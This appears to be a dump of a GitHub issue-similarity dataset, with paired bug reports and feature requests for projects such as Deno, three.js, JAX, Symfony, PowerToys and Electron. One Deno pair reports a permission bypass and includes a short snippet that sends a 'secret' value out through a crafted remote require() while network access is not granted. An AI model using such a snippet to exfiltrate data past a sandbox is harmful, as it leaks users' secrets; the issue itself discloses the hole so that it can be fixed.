WhereIsAI/github-issue-similarity huggingface dataset:
Issue 1:
Provide keyboard shortcut prompts.

Example, right click on file browser to create a new file. Show a popup explaining the key binding for that action.

This could be turned off / on.

Could potentially be included in the onboarding process.

This is likely a good extension, although I am not sure if the extension API would support the operations it would need.

Issue 2:
It would be nice if we could validate user input before they dismiss with "ok", i.e. show the user they write something we won't accept before they dismiss the inputbox.

This could be a red outline around the inputbox if value doesnt pass validation, ideally would have a message shown underneath telling them what we expect.

A regex and (optional?) default message could work for many cases, ideally a custom validator that allows us to accept/reject (with optional message?) on user input change.

Possible duplicate of this, but this even goes a little further I think:

#426
Issue 1:
If you dev the brand-new https://github.com/JuliaMath/CheckedArithmetic.jl and then do pkg> test CheckedArithmetic, all seems well. But then insert error("oops") here, and you'll find to your dismay that the tests still pass.

If you comment out the "check" tests, then it fails as expected.

EDIT: package has been fixed. It was due to a habit of writing return val at the end of a block, and mistakenly doing that in the @check macro definition.

Issue 2:
julia> using Test

julia> @testset for i in 1:1
@testset begin
break
end
end
1-element Array{Any,1}:
Test.DefaultTestSet("i = 1", Any[Test.DefaultTestSet(#= circular reference @-2 =#)], 0, false)

julia> Test.get_testset_depth() # != 0
1

julia> @testset for i in 1:1 # same testset again
@testset begin
break
end
end
1-element Array{Any,1}:
Test.DefaultTestSet("i = 1", Any[Test.DefaultTestSet(#= circular reference @-2 =#)], 0, false)

julia> Test.get_testset_depth() # != 0
2

I think the code above should be an error. Maybe @testset should be lowered into an "immediately invoked function expression"?
Issue 1:
The WebGLRenderer checks if an object intersects the cameras frustrum before it is allowed to render: https://github.com/mrdoob/three.js/blob/dev/src/renderers/WebGLRenderer.js#L1170-L1205

Could we have a simple flag on the object which tells us if was considered for rendering or not?

if (!object.frustumCulled || _frustum.intersectsObject(object)) {
// ...
object.didRender = true
} else {
object.didRender = false
}

This would allow us to quickly build virtualised primitives without the expense of running that check twice. For instance flexbox: https://github.com/pmndrs/react-three-flex We're running into problems with lots and lots of elements because calculating layout is expensive. But we could then just bail out on objects that aren't even shown, thereby virtualising it.

Issue 2:
Description of the problem

The idea is to cache camera frustum checks on objects (a) to avoid recalculation and (b) to offer a simple interface.

As pointed out in https://stackoverflow.com/a/29424745, when .frustumCulled is enabled, .inFrustum could be populated as part of the frustum culling.

I would be happy to put up a PR if there is interest in the feature.
Issue 1:
we found if we create and finish much thread and use Parallel_for in these thread , system will be

out of memory and i study the code and found for every thread TlsStorage will cache the Thread data and slotdata but never release util my process exit

Issue 2:
OpenCV => 3.3.0

Operating System / Platform => Arch Linux (4.12.13-1-ARCH SMP PREEMPT x86_64 GNU/Linux)

Compiler => gcc 7.2.0 and clang 5.0.0

Detailed description

It seems that a significant portion of memory is leaked in every thread.

The following code snippet consumes cca 100MB/s.

Steps to reproduce

#include <opencv2/opencv.hpp>
#include <future>
int main()
{
while(true) {
std::async(std::launch::async, []() { cv::Mat::zeros(1, 1, CV_32FC3); }).wait();
}
}
Issue 1:
With multiple files, it would be more useful if the test runner simply listed <test_file> <testname>. To provide a hint of the location of the test.

Issue 2:
Currently, all tests from different test file are printed as if they are all from one file. This could be a problem on a large test suite where developer needs to find failed test case/file.

In Jest, tests are grouped per file. By default, only file names and names of failed tests are shown.

Alternative Proposals

Show file names alongside test case.

Display a tree of file names and test case. File names are branches, and test cases are leafs.

Create a Deno.testGroup function that acts like describe in Jest, use it in .deno.test.ts to wrap import line of a test file.

Log test file names before execution (similar to cargo test).
Issue 1:
I have this kind of code :

classes

interface PriceInterface {}
interface VariablePriceInterface extends PriceInterface {}
class ProductPrice implements VariablePriceInterface {}

validation

PriceInterface:
constraints:
- MyConstraint: ~

If I validate a ProductPrice object, MyConstraint is checked twice.

This is very similar to #19516.

Issue 2:
Q
A

Bug report?
no

Feature request?
no

BC Break report?
no

RFC?
no

Symfony version
>= 3.3

First of, I am all in favor of environment variables. I think they are a great way to decouple your app from the server it is ran on.

That being said, I'm feeling they are a step backwards in DX compared to the parameters.yml files for different environments when having commands that require them. For instance: if I have a command that does anything with the database (i.e., uses doctrine) I will need to export that correct variables to make it work. This includes the cache warmup which warms the doctrine proxies. To illustrate this, here is a quick config:

parameters:
database_driver: pdo_mysql
database_host: %env(DATABASE_HOST)%
database_port: %env(DATABASE_PORT)%
database_name: %env(DATABASE_NAME)%
database_user: %env(DATABASE_USER)%
database_password: %env(DATABASE_PASSWORD)%
secret: %env(APP_SECRET)%

framework:
secret: "%secret%"
// [...]

doctrine:
dbal:
driver: "%database_driver%"
host: "%database_host%"
port: "%database_port%"
dbname: "%database_name%"
user: "%database_user%"
password: "%database_password%"
charset: UTF8
// [...]

Which seems to me like the intended prefect example. However, this will throw the following error when running any command:

$ bin/console
[Symfony\Component\DependencyInjection\Exception\EnvNotFoundException]
Environment variable not found: "DATABASE_HOST".

Since the environment variables were configured in my Virtual Host settings, they are missing on the command line. So I'm stuck with creating this massive export block anytime I want to do something on the command line. Worst of all, this includes any deployment script, which needs to preform a cache warmup.

So what is the point of this issue?

Well I was wondering if we could document in the Symfony docs a good solution to dealing with environment variables for commands. Especially so I do not have to define them twice (vhost & cli exports). Because as it stand now I feel as if the current docs isn't really showing a proper solution.
Issue 1:
In v0.2.11 jax added the nice optional installation targets cpu, cudaXXX and tpu which install jaxlib for the desired platform. Currently, the setup script guarantees that the installed version of jaxlib is compatible by constraining the version number from below to the earliest known compatible version. However, no similar constraint is put for a maximum compatible version number. Given that jaxlib does not appear to necessarily maintain backward compatibility between updates, this is an issue for installing older versions of jax (as these will always pull the latest available jaxlib version, leading to crashes due to incompatibility).

Jax installation should always result in a working setup, i.e., only the latest compatible version of jaxlib should be installed when installing jax. This either requires version constraints in jax's setup.py or backward compatibility guarantees in jaxlib (or a combination of both).

Please:

Check for duplicate requests.

Describe your goal, and if possible provide a code snippet with a motivating example.

Issue 2:
Consider the following code:

@dataclasses.dataclass
class Config:
some_value: int
# many other values omitted

@functools.partial(jax.jit, static_argnums=1)
def do_stuff(data, config):
# do some stuff

def evaluate():
config = Config(suitable_value_for_evaluation)
data = summon_up_evaluation_data()
do_stuff(data, config)

This will unexpectedly (to me at least) retrace/recompile do_stuff every time evaluate is called. The reason is because the dataclass derived Config does not have a __hash__ method by default. (Using @dataclasses.dataclass(frozen=True) does yield a Config class with a hash, and then behaviour is as expected.)

It would be helpful to warn, or even error, if an unhashable object is passed to jax.jit, to make this sort of thing easier to track down. (It took me a long while before I thought to check whether dataclasses were hashable ...)

It looks as though wrap_hashably being too lenient is the root cause: https://github.com/google/jax/blob/master/jax/api_util.py#L130 (Thanks @tomhennigan ). It could be better to fail in this function if the unhashable value isn't one of the types that this function intends to wrap, as it seems that the retrace/recompile behaviour would never be the one that user desired.
Issue 1:
I recently updated the three.js files from r58 to r61, and I couldn't believe my eyes. What happen with the performance? I'm loading a single (700k verts) .obj and .mtl file and the time to load it locally extended from 14sek to 1 min 14 sek. Also the frames dropped by 8-10. I tried to use jsonloader, but this just crashes my Chrome.

I'm really thankful to all three.js team for their hard work, sweat and tears.

Anyone else encountered this problem?

Issue 2:
We are working on an huge project with thousands of objects, and every object is unique. We load data from a gltf file, and the loader checks if any object is equal to something already created.

Disabling the check on the cache here (return null instead of calling isPrimitiveEqual over thousands of objects) cuts the loading time by a factor of 4, in our case.

I know this is a corner case, but would you be interested in an option to disable the cache? My company will sponsor my work on this, because we have to implement it anyway, and makes more sense to do it upstream than keeping our own version of the loader
Issue 1:
Environment

Windows build number: Microsoft Windows [Version 10.0.18362.418]
PowerToys version: 0.12
PowerToy module for which you are reporting the bug (if applicable): FancyZones

Steps to reproduce

Create Zones,

Decide you don't want the zones

Fail to find an option to remove FancyZones from 1 screen

Expected behavior

An (obvious) option to remove or disable Fancyzones and revert back to using the built in Window Snap.

I know I can disable FancyZones - but I want to keep it for my second screen, and see no option to remove it from either of the specifically.

Actual behavior

N/A

Screenshots

N/A

Issue 2:
ℹ Computer information

PowerToys version: 0.21.1

PowerToy Utility: Settings

Running PowerToys as Admin: yes and no (tried both situations)

Windows build number: 19041.508

📝 Provide detailed reproduction steps (if any)

Not sure if this is the reason:

Delete settings folder for FancyZones (%localappdata%\Microsoft\PowerToys\FancyZones).

Start PowerToys.

✔️ Expected result

I can disable/enable the sittings without crashing the UI.

❌ Actual result

When I click on enable switch to enable/disable the FancyZones the app crash.

📷 Screenshots

No.

📝 Log files

log_ApplicationError.txt

log_WindowsErrorReporting.txt
Issue 1:
Version

2.5.16

Reproduction link

JSFiddle

Steps to reproduce

Change select in "first" to "B".

Click the "second" tab.

ER: the select in "second" will still have it's default value.

AR: the select in "second" was changed to the index of the first select.

Furthermore:

Change the input in "first" to anything

Click the "second" tab.

ER: the input in "second" should be blank.

AR: the input in "second" is not black, but contains the contents of the "first" tab.

What is expected?

The select in "second" will still have it's default value.

What is actually happening?

The select in "second" was changed to the index of the first select.

If you add an ID or a class to either container div to make them non identical, it won't happen.

Issue 2:
What problem does this feature solve?

Say there's a layout component with a navbar at the top and a main content area (the primary slot <slot/>). This component has the prop loading which, when true, shows a loading spinner in the main content area instead of the elements. I've included a basic example below.

At the moment, even when loading is true and the v-if for the <slot/> is false, the nodes are still being rendered. Ideally, loading here should only become false when all data has been loaded and it is safe to render the <slot/> elements.

Yes, I'm aware that I could just v-if="!!var" everything, but this can get very tedious and shouldn't be necessary (in my opinion).

I can imagine this would probably require quite a bit of stuff to be changed but I believe this is the ideal and desired functionality in this case. Sorry about the terminology, not quite sure what to call everything.

What does the proposed API look like?

Layout.vue

<template>
<div id="layout">
<Navbar :nav-items="..." />

<Spinner v-if="loading"/>
<slot v-else/>
</div>
</template>

<script>
import Vue from 'vue'

export default Vue.component('Layout', {
props: {
/** Whether to display the loading spinner instead of the content. */
loading: Boolean
}
})
</script>

Implementation.vue

<template>
<Layout :loading="...">
<p>{{ rendered.once.loaded }}</p>
</Layout>
</template>
Issue 1:
======================================================================
FAIL: Array comparison test for the default "hsv" blend mode. Ensure the
----------------------------------------------------------------------
Traceback (most recent call last):
File "/home/travis/virtualenv/python2.6.9/lib/python2.6/site-packages/nose/case.py", line 197, in runTest
self.test(*self.arg)
File "/home/travis/virtualenv/python2.6.9/lib/python2.6/site-packages/matplotlib-1.5.x-py2.6-linux-x86_64.egg/matplotlib/tests/test_colors.py", line 304, in test_light_source_shading_default
assert_array_almost_equal(rgb, expect, decimal=2)
File "/home/travis/virtualenv/python2.6.9/lib/python2.6/site-packages/numpy/testing/utils.py", line 842, in assert_array_almost_equal
precision=decimal)
File "/home/travis/virtualenv/python2.6.9/lib/python2.6/site-packages/numpy/testing/utils.py", line 665, in assert_array_compare
raise AssertionError(msg)
AssertionError:
Arrays are not almost equal to 2 decimals

(mismatch 16.40625%)
x: array([[[ 8.72e-01, 8.72e-01, 8.72e-01, 1.00e+00],
[ 8.31e-01, 7.63e-01, 7.20e-01, 1.00e+00],
[ 8.75e-01, 7.90e-01, 7.38e-01, 1.00e+00],...
y: array([[[ 0.87, 0.87, 0.87, 1. ],
[ 0.85, 0.79, 0.75, 1. ],
[ 0.9 , 0.83, 0.78, 1. ],...

======================================================================
FAIL: Array comparison test for a surface with a masked portion. Ensures that
----------------------------------------------------------------------
Traceback (most recent call last):
File "/home/travis/virtualenv/python2.6.9/lib/python2.6/site-packages/nose/case.py", line 197, in runTest
self.test(*self.arg)
File "/home/travis/virtualenv/python2.6.9/lib/python2.6/site-packages/matplotlib-1.5.x-py2.6-linux-x86_64.egg/matplotlib/tests/test_colors.py", line 355, in test_light_source_masked_shading
assert_array_almost_equal(rgb, expect, decimal=2)
File "/home/travis/virtualenv/python2.6.9/lib/python2.6/site-packages/numpy/testing/utils.py", line 842, in assert_array_almost_equal
precision=decimal)
File "/home/travis/virtualenv/python2.6.9/lib/python2.6/site-packages/numpy/testing/utils.py", line 665, in assert_array_compare
raise AssertionError(msg)
AssertionError:
Arrays are not almost equal to 2 decimals

(mismatch 29.296875%)
x: array([[[ 0.00e+00, 0.00e+00, 0.00e+00, 1.00e+00],
[ 9.50e-01, 9.27e-01, 9.13e-01, 1.00e+00],
[ 5.33e-01, 3.37e-01, 2.15e-01, 1.00e+00],...
y: array([[[ 1. , 1. , 1. , 1. ],
[ 0.95, 0.93, 0.91, 1. ],
[ 0.96, 0.93, 0.91, 1. ],...

----------------------------------------------------------------------

I get the same failures locally.

cc @jenshnielsen @joferkington

Issue 2:
These tests are part of #3291 and fail for me with numpy 1.9.0

The tests works with numpy 1.8.2 (on travis and locally). Not sure what is wrong here.

Apologies for not spotting this before the merge.
Issue 1:
Just experimenting with deno so please excuse my instant misbehave.

But isn't the --allow-net flag's purpose is to encapsuate the process from the network and not let the script access the network without permission?

If this is the case, then we should block imports/require from calling remote urls.

This small snippet allowed me to read and send my secret without net access.

As I seen the --allow-read will block me from reading the filesystem but still the netwoking is available with crafted imports.

Issue 2:
eval(`require(["http://localhost:8080/a.ts?secret=value"], () => {
console.log("Done");
})`);

export const x = null;

As shown above, an attacker can still send user's sensitive data to somewhere online even when the user does not provide the --allow-net option.

Possible soloution:

We can provide a new flag (e.x: --allow-require) and return null from _makeLocalRequire() unless user provides that flag.

deno/js/compiler.ts

Lines 305 to 331
in
3deaf99

/**

* Returns a require that specifically handles the resolution of a transpiled

* emit of a dynamic ES `import()` from TypeScript.

*/

private _makeLocalRequire(moduleMetaData: ModuleMetaData): AMDRequire {

return (

deps: ModuleSpecifier[],

callback: AmdCallback,

errback: AmdErrback

): void => {

log("localRequire", deps);

assert(

deps.length === 1,

"Local require requires exactly one dependency."

);

const [moduleSpecifier] = deps;

try {

const requiredMetaData = this.run(

moduleSpecifier,

moduleMetaData.fileName

);

callback(requiredMetaData.exports);

} catch (e) {

errback(e);

}

};

}
Issue 1:
after failing to install 1.3.1 it still seems to be going back to that failed version.

Trying explicit --version fails also with:

$ cargo install deno --version 1.3.2
Updating crates.io index
error: could not find `deno` in registry `https://github.com/rust-lang/crates.io-index` with version `=1.3.2`

Issue 2:
This would eliminate the need for modules like plug and deno-plugin-prepare making plugins way more accessible. Allowing Deno.openPlugin to take a URL specifier would also make it possible for deno to directly cache the binary like a dependency (which plug already does but using a separate dependency) and reload the binary when the --reload flag is provided. The Deno.openPlugin should be able to take both remote and local urls to the binary and could possibly infer the url from os and architecture like plug does.
Issue 1:
TypeScript Version:

1.8.2

Code

interface Foo {
ok:string;
okToo: number;
notOk: "o" | "k";
}

interface Bar {
bar: string;
}

interface FooBar extends Foo, Bar{
}

function mix<T>(obj:T): T & Bar {
(obj as any).bar="bar";
return obj as T & Bar;
}

var fooBar:FooBar = mix({
ok:"ok",
okToo: 42,
notOk:"k"
});

Expected behavior:

The assignment to fooBar should be allowed.

Actual behavior:

I get the totally confusing error:

Error:(20, 5) TS2322: Type '{ ok: string; notOk: string; } & Bar' is not assignable to type 'FooBar'.
Type 'Bar' is not assignable to type 'FooBar'.
Property 'ok' is missing in type 'Bar'.

The confusing part is that it complains about the first property (ok) and not about notOk.

Looking at the error message it seems that the string literal type notOk:"o"|"k" was converted to notOk :string.

Therefore when I turn the string literal type to a string (notOk:string) everything is OK....

Hint: defining the string literal type as a type does not solve the problem:

type NotOK = "o" | "k";

interface Foo {
//...
notOk: NotOK;
}
//...

Issue 2:
Picking up the remainder of #7302

Salsa-supporting work

#6992 Use smarter type fallbacks in error cases

Suggestions

#185 Non-nullable: confirm that this is committed?

#3812 Type guards on property access - done as part of non-nullable?

#7279 Trailing commas in argument lists

#7209 Add a "force strict mode" option

#7077 Duplicate identifiers in namespace emit

#7011 Apply interface types to provide types to implicit-any-declared class properties

#6864 Disallow implicitly duplicated enum values

#471 Permit an implementing class to ignore private methods of the implementee class

#6758 Allow --name=value commandline switch format

#7256 Disallow void in truthyness positions

#7071 require of .json file

#6808 Start a deprecation path for module

#3792 Allow export default namespace foo { and other export default combos

#7347 Allow rest args in non-final positions

#6094 Provide a way out for incompatible derived class method signatures

#6895 Outersection types
Issue 1:
Preflight Checklist

I have read the Contributing Guidelines for this project.

I agree to follow the Code of Conduct that this project adheres to.

I have searched the issue tracker for a feature request that matches the one I want to file, without success.

Electron Version

15.3.0

What operating system are you using?

Windows

Operating System Version

Windows 10 (OS Build 19042. 1288)

What arch are you using?

x64

Last Known Working Electron version

No response

Expected Behavior

The Electron app opens as expected

Actual Behavior

After launching my app I can see this windows 7 - like window for a split second, from what I've found this is caused by hiding the title bar with titleBarStyle: 'hidden' or frame: false. Am I missing something obvious or is this a bug?

Testcase Gist URL

No response

Additional Information

My window constructor looks like this:

mainWindow = new BrowserWindow({ width: 800, height: 600, autoHideMenuBar: true, titleBarStyle: 'hidden', icon: __dirname + 'icon.ico', webPreferences:{ nodeIntegration: true, contextIsolation: false, } });

Issue 2:
Preflight Checklist

I have read the Contributing Guidelines for this project.

I agree to follow the Code of Conduct that this project adheres to.

I have searched the issue tracker for an issue that matches the one I want to file, without success.

Issue Details

Electron Version:

Electron 9.1.0

Operating System:

Debian GNU/Linux 10 (buster)

Expected Behavior

Rotate the electron after the npm start command

Actual Behavior

[17300:0714/163809.183079:FATAL:electron_main_delegate.cc(264)] Running as root without --no-sandbox is not supported. See https://crbug.com/638180.

Example of running without root, see the output of the npm start command:

:~$ npm start

/usr/bin/env: “node”: No file or directory

Obs : The same output happens when you go to the application directory where I try to run the electron

To Reproduce

Just follow the documentation to install electron and create the application.